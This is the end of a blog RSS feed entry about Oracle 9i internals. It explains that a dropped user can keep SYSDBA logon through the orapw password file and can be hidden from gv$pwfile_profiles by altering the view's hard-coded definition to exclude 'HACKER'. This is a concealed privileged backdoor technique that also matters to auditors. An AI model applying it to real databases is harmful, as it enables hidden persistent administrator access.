Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.<br />
Connected to:<br />
Oracle9i Enterprise Edition Release 9.2.0.4.0 &#8211; Production<br />
With the Partitioning, OLAP and Oracle Data Mining options<br />
JServer Release 9.2.0.4.0 &#8211; Production<br />
<a href="mailto:sys@CHEN">sys@CHEN</a>&gt;</p>
<p>Even though the user HACKER was dropped in the db, it still can logon as SYSDBA if it exists in orapw file. We still can hide the user in gv$pwfile_profiles if change its definition to the following statement which is hard-coded in binary file oracle.</p>
<p>select inst_id,username,decode(sysdba,1,’TRUE’,&#8217;FALSE’),  decode(sysoper,1,’TRUE’,&#8217;FALSE’) from x$kzsrt where username not in (’INTERNAL’,&#8217;HACKER’)</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/yaping123.wordpress.com/89/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/yaping123.wordpress.com/89/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yaping123.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yaping123.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yaping123.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yaping123.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yaping123.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yaping123.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yaping123.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yaping123.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yaping123.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yaping123.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yaping123.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yaping123.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yaping123.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yaping123.wordpress.com/89/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=89&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yaping123.wordpress.com/2008/09/02/startup-files/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/08d4a1992b704ef7bba5bd9689427476?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yaping</media:title>
		</media:content>
	</item>
	</channel>
</rss>
